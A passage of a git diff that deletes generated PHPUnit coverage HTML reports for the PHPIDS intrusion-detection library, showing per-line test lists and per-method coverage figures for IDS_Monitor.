class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li><li class=\"testPassed\">testWrongXmlFilterPathException(IDS_ExceptionTest)</li><li class=\"testPassed\">testFilterSetFilterSet(IDS_FilterTest)</li></ul>", - "footer": "" - }, - "panel165": { - "header": "42 tests cover line 165", - "body": "<ul><li class=\"testPassed\">testGetHTML(IDS_MonitorTest)</li><li class=\"testPassed\">testGetStorage(IDS_MonitorTest)</li><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testNoResult(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsString(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsArray(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li><li class=\"testPassed\">testWrongXmlFilterPathException(IDS_ExceptionTest)</li><li class=\"testPassed\">testFilterSetFilterSet(IDS_FilterTest)</li></ul>", - "footer": "" - }, - "panel166": { - "header": "42 tests cover line 166", - "body": "<ul><li class=\"testPassed\">testGetHTML(IDS_MonitorTest)</li><li class=\"testPassed\">testGetStorage(IDS_MonitorTest)</li><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testNoResult(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsString(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsArray(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li><li class=\"testPassed\">testWrongXmlFilterPathException(IDS_ExceptionTest)</li><li class=\"testPassed\">testFilterSetFilterSet(IDS_FilterTest)</li></ul>", - "footer": "" - }, - "panel167": { - "header": "42 tests cover line 167", - "body": "<ul><li class=\"testPassed\">testGetHTML(IDS_MonitorTest)</li><li class=\"testPassed\">testGetStorage(IDS_MonitorTest)</li><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testNoResult(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsString(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsArray(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li><li class=\"testPassed\">testWrongXmlFilterPathException(IDS_ExceptionTest)</li><li class=\"testPassed\">testFilterSetFilterSet(IDS_FilterTest)</li></ul>", - "footer": "" - }, - "panel180": { - "header": "2 tests cover line 180", - "body": "<ul><li class=\"testPassed\">testInitSetConfigOverwrite(IDS_InitTest)</li><li class=\"testPassed\">testInitSetConfigNoOverwrite(IDS_InitTest)</li></ul>", - "footer": "" - }, - "panel181": { - "header": "2 tests cover line 181", - "body": "<ul><li class=\"testPassed\">testInitSetConfigOverwrite(IDS_InitTest)</li><li class=\"testPassed\">testInitSetConfigNoOverwrite(IDS_InitTest)</li></ul>", - "footer": "" - }, - "panel182": { - "header": "2 tests cover line 182", - "body": "<ul><li class=\"testPassed\">testInitSetConfigOverwrite(IDS_InitTest)</li><li class=\"testPassed\">testInitSetConfigNoOverwrite(IDS_InitTest)</li></ul>", - "footer": "" - }, - "panel183": { - "header": "1 test covers line 183", - "body": "<ul><li class=\"testPassed\">testInitSetConfigNoOverwrite(IDS_InitTest)</li></ul>", - "footer": "" - }, - "panel185": { - "header": "2 tests cover line 185", - "body": "<ul><li class=\"testPassed\">testInitSetConfigOverwrite(IDS_InitTest)</li><li class=\"testPassed\">testInitSetConfigNoOverwrite(IDS_InitTest)</li></ul>", - "footer": "" - }, - "panel200": { - "header": "2 tests cover line 200", - "body": "<ul><li class=\"testPassed\">testInitSetConfigOverwrite(IDS_InitTest)</li><li class=\"testPassed\">testInitSetConfigNoOverwrite(IDS_InitTest)</li></ul>", - "footer": "" - }, - "panel201": { - "header": "2 tests cover line 201", - "body": "<ul><li class=\"testPassed\">testInitSetConfigOverwrite(IDS_InitTest)</li><li class=\"testPassed\">testInitSetConfigNoOverwrite(IDS_InitTest)</li></ul>", - "footer": "" - }, - "panel202": { - "header": "2 tests cover line 202", - "body": "<ul><li class=\"testPassed\">testInitSetConfigOverwrite(IDS_InitTest)</li><li class=\"testPassed\">testInitSetConfigNoOverwrite(IDS_InitTest)</li></ul>", - "footer": "" - }, - "panel203": { - "header": "2 tests cover line 203", - "body": "<ul><li class=\"testPassed\">testInitSetConfigOverwrite(IDS_InitTest)</li><li class=\"testPassed\">testInitSetConfigNoOverwrite(IDS_InitTest)</li></ul>", - "footer": "" - }, - "panel204": { - "header": "2 tests cover line 204", - "body": "<ul><li class=\"testPassed\">testInitSetConfigOverwrite(IDS_InitTest)</li><li class=\"testPassed\">testInitSetConfigNoOverwrite(IDS_InitTest)</li></ul>", - "footer": "" - }, - "panel206": { - "header": "2 tests cover line 206", - "body": "<ul><li class=\"testPassed\">testInitSetConfigOverwrite(IDS_InitTest)</li><li class=\"testPassed\">testInitSetConfigNoOverwrite(IDS_InitTest)</li></ul>", - "footer": "" - }, - "panel207": { - "header": "2 tests cover line 207", - "body": "<ul><li class=\"testPassed\">testInitSetConfigOverwrite(IDS_InitTest)</li><li class=\"testPassed\">testInitSetConfigNoOverwrite(IDS_InitTest)</li></ul>", - "footer": "" - }, - "panel208": { - "header": "2 tests cover line 208", - "body": "<ul><li class=\"testPassed\">testInitSetConfigOverwrite(IDS_InitTest)</li><li class=\"testPassed\">testInitSetConfigNoOverwrite(IDS_InitTest)</li></ul>", - "footer": "" - }, - "panel210": { - "header": "2 tests cover line 210", - "body": "<ul><li class=\"testPassed\">testInitSetConfigOverwrite(IDS_InitTest)</li><li class=\"testPassed\">testInitSetConfigNoOverwrite(IDS_InitTest)</li></ul>", - "footer": "" - }, - "panel211": { - "header": "2 tests cover line 211", - "body": "<ul><li class=\"testPassed\">testInitSetConfigOverwrite(IDS_InitTest)</li><li class=\"testPassed\">testInitSetConfigNoOverwrite(IDS_InitTest)</li></ul>", - "footer": "" - }, - "panel212": { - "header": "2 tests cover line 212", - "body": "<ul><li class=\"testPassed\">testInitSetConfigOverwrite(IDS_InitTest)</li><li class=\"testPassed\">testInitSetConfigNoOverwrite(IDS_InitTest)</li></ul>", - "footer": "" - }, - "panel222": { - "header": "1 test covers line 222", - "body": "<ul><li class=\"testPassed\">testInitGetConfig(IDS_InitTest)</li></ul>", - "footer": "" - }, - "dummy": "" - }; - - YAHOO.phpunit.container.prepare = function (e) { - var elemId = $E.getTarget(e).id; - var line = elemId.substr(4); - var panelId = "panel" + line; - var containerId = "container" + line; - - var panelData = YAHOO.phpunit.container.panelsData[panelId]; - - var panel = new YAHOO.widget.Panel(panelId, { visible:false, draggable:false, close:true } ); - panel.setHeader(panelData["header"]); - panel.setBody(panelData["body"]); - panel.setFooter(panelData["footer"]); - panel.render(containerId); - - $E.addListener(elemId, "click", panel.show, panel, true); - $E.removeListener(elemId, "mouseover"); - }; - - function init() { - var ypc = YAHOO.phpunit.container; - for (var panelId in ypc.panelsData) { - var elemId = "line" + panelId.substr(5); - $E.addListener(elemId, "mouseover", ypc.prepare); - } - } - - $E.addListener(window, "load", init); - </script> - </body> -</html> diff --git a/apps/maarch_entreprise/tools/phpids/tests/coverage/Monitor.php.html b/apps/maarch_entreprise/tools/phpids/tests/coverage/Monitor.php.html deleted file mode 100755 index 31917862d3300c4588d505ff814d9ed727cdbe73..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/tests/coverage/Monitor.php.html +++ /dev/null @@ -1,2126 +0,0 @@ -<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> - -<html lang="en"> - <head> - <meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1"> - <title>PHPIDS</title> - <link rel="stylesheet" type="text/css" href="style.css"> - <link rel="stylesheet" type="text/css" href="container.css"> - <script type="text/javascript" src="yahoo-dom-event.js"></script> - <script type="text/javascript" src="container-min.js"></script> - </head> - - <body class="yui-skin-sam"> - <table width="100%" border="0" cellspacing="0" cellpadding="0"> - <tr><td class="title">PHPIDS</td></tr> - <tr><td class="ruler"><img src="glass.png" width="3" height="3" alt=""></td></tr> - - <tr> - <td width="100%"> - <table cellpadding="1" border="0" width="100%"> - <tr> - <td class="headerItem" width="20%">Current file:</td> - <td class="headerValue" width="80%"><a href="index.html">/home/lstrojny/Projekte/php-ids/trunk/lib/IDS</a>/<a href="Monitor.php.html">Monitor.php</a></td> - </tr> - <tr> - <td class="legendItem" width="20%">Legend:</td> - <td class="legendValue" width="80%"> - <span class="legendCov">executed</span> - <span class="legendNoCov">not executed</span> - <span class="legendDeadCode">dead code</span> - </td> - </tr> - </table> - </td> - </tr> - - <tr> - <td class="ruler"><img src="glass.png" width="3" height="3" alt=""></td> - </tr> - </table> - - <br /> - - <center> - <table width="90%" cellpadding="2" cellspacing="1" border="0"> - <tr> - <td class="tableHead" width="30%"> </td> - <td class="tableHead" colspan="9">Coverage</td> - </tr> - <tr> - <td class="tableHead"> </td> - <td class="tableHead" colspan="3">Classes</td> - <td class="tableHead" colspan="3">Methods</td> - <td class="tableHead" colspan="3">Lines</td> - </tr> - <tr> - <td class="coverItem">Total</td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="100" height="10" alt="100.00 %"><img src="snow.png" width="0" height="10" alt="100.00%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">100.00%</td> - <td class="coverNumHi">1 / 1</td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="84" height="10" alt="84.21 %"><img src="snow.png" width="16" height="10" alt="84.21%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">84.21%</td> - <td class="coverNumHi">16 / 19</td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="87" height="10" alt="87.11 %"><img src="snow.png" width="13" height="10" alt="87.11%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">87.11%</td> - <td class="coverNumHi">169 / 194</td> - </tr> - - <tr> - <td class="tableHead" colspan="10"> </td> - </tr> - <tr> - <td class="coverItem"><b><a href="#51">IDS_Monitor</a></b></td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="100" height="10" alt="100.00 %"><img src="snow.png" width="0" height="10" alt="100.00%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">100.00%</td> - <td class="coverNumHi">1 / 1</td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="84" height="10" alt="84.21 %"><img src="snow.png" width="16" height="10" alt="84.21%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">84.21%</td> - <td class="coverNumHi">16 / 19</td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="87" height="10" alt="87.11 %"><img src="snow.png" width="13" height="10" alt="87.11%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">87.11%</td> - <td class="coverNumHi">169 / 194</td> - </tr> - - <tr> - <td class="coverFile" colspan="4"> <a href="#175">public function __construct(array $request, IDS_Init $init, array $tags = NULL)</a></td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="100" height="10" alt="100.00 %"><img src="snow.png" width="0" height="10" alt="100.00%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">100.00%</td> - <td class="coverNumHi">1 / 1</td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="79" height="10" alt="79.41 %"><img src="snow.png" width="21" height="10" alt="79.41%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">79.41%</td> - <td class="coverNumHi">27 / 34</td> - </tr> - - <tr> - <td class="coverFile" colspan="4"> <a href="#233">public function run()</a></td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="100" height="10" alt="100.00 %"><img src="snow.png" width="0" height="10" alt="100.00%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">100.00%</td> - <td class="coverNumHi">1 / 1</td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="100" height="10" alt="100.00 %"><img src="snow.png" width="0" height="10" alt="100.00%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">100.00%</td> - <td class="coverNumHi">6 / 6</td> - </tr> - - <tr> - <td class="coverFile" colspan="4"> <a href="#253">private function _iterate($key, $value)</a></td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="100" height="10" alt="100.00 %"><img src="snow.png" width="0" height="10" alt="100.00%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">100.00%</td> - <td class="coverNumHi">1 / 1</td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="100" height="10" alt="100.00 %"><img src="snow.png" width="0" height="10" alt="100.00%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">100.00%</td> - <td class="coverNumHi">17 / 17</td> - </tr> - - <tr> - <td class="coverFile" colspan="4"> <a href="#285">private function _detect($key, $value)</a></td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="100" height="10" alt="100.00 %"><img src="snow.png" width="0" height="10" alt="100.00%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">100.00%</td> - <td class="coverNumHi">1 / 1</td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="100" height="10" alt="100.00 %"><img src="snow.png" width="0" height="10" alt="100.00%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">100.00%</td> - <td class="coverNumHi">37 / 37</td> - </tr> - - <tr> - <td class="coverFile" colspan="4"> <a href="#366">private function _purifyValues($key, $value)</a></td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="100" height="10" alt="100.00 %"><img src="snow.png" width="0" height="10" alt="100.00%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">100.00%</td> - <td class="coverNumHi">1 / 1</td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="70" height="10" alt="70.37 %"><img src="snow.png" width="30" height="10" alt="70.37%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">70.37%</td> - <td class="coverNumHi">19 / 27</td> - </tr> - - <tr> - <td class="coverFile" colspan="4"> <a href="#420">private function _diff($original, $purified, $redux)</a></td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="100" height="10" alt="100.00 %"><img src="snow.png" width="0" height="10" alt="100.00%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">100.00%</td> - <td class="coverNumHi">1 / 1</td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="100" height="10" alt="100.00 %"><img src="snow.png" width="0" height="10" alt="100.00%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">100.00%</td> - <td class="coverNumHi">26 / 26</td> - </tr> - - <tr> - <td class="coverFile" colspan="4"> <a href="#482">private function _jsonDecodeValues($key, $value)</a></td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="100" height="10" alt="100.00 %"><img src="snow.png" width="0" height="10" alt="100.00%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">100.00%</td> - <td class="coverNumHi">1 / 1</td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="72" height="10" alt="72.73 %"><img src="snow.png" width="28" height="10" alt="72.73%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">72.73%</td> - <td class="coverNumHi">8 / 11</td> - </tr> - - <tr> - <td class="coverFile" colspan="4"> <a href="#510">private function _jsonConcatContents($key, $value)</a></td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="100" height="10" alt="100.00 %"><img src="snow.png" width="0" height="10" alt="100.00%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">100.00%</td> - <td class="coverNumHi">1 / 1</td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="100" height="10" alt="100.00 %"><img src="snow.png" width="0" height="10" alt="100.00%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">100.00%</td> - <td class="coverNumHi">2 / 2</td> - </tr> - - <tr> - <td class="coverFile" colspan="4"> <a href="#524">private function _match($key, $value, $filter)</a></td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="100" height="10" alt="100.00 %"><img src="snow.png" width="0" height="10" alt="100.00%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">100.00%</td> - <td class="coverNumHi">1 / 1</td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="100" height="10" alt="100.00 %"><img src="snow.png" width="0" height="10" alt="100.00%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">100.00%</td> - <td class="coverNumHi">7 / 7</td> - </tr> - - <tr> - <td class="coverFile" colspan="4"> <a href="#546">public function setExceptions($exceptions)</a></td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="100" height="10" alt="100.00 %"><img src="snow.png" width="0" height="10" alt="100.00%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">100.00%</td> - <td class="coverNumHi">1 / 1</td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="100" height="10" alt="100.00 %"><img src="snow.png" width="0" height="10" alt="100.00%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">100.00%</td> - <td class="coverNumHi">5 / 5</td> - </tr> - - <tr> - <td class="coverFile" colspan="4"> <a href="#560">public function getExceptions()</a></td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="100" height="10" alt="100.00 %"><img src="snow.png" width="0" height="10" alt="100.00%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">100.00%</td> - <td class="coverNumHi">1 / 1</td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="100" height="10" alt="100.00 %"><img src="snow.png" width="0" height="10" alt="100.00%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">100.00%</td> - <td class="coverNumHi">1 / 1</td> - </tr> - - <tr> - <td class="coverFile" colspan="4"> <a href="#573">public function setHtml($html)</a></td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="100" height="10" alt="100.00 %"><img src="snow.png" width="0" height="10" alt="100.00%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">100.00%</td> - <td class="coverNumHi">1 / 1</td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="100" height="10" alt="100.00 %"><img src="snow.png" width="0" height="10" alt="100.00%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">100.00%</td> - <td class="coverNumHi">5 / 5</td> - </tr> - - <tr> - <td class="coverFile" colspan="4"> <a href="#589">public function addHtml($value)</a></td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="scarlet_red.png" width="0" height="10" alt="0.00 %"><img src="snow.png" width="100" height="10" alt="0.00%"></td> - </tr> - </table> - </td> - <td class="coverPerLo">0.00%</td> - <td class="coverNumLo">0 / 1</td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" 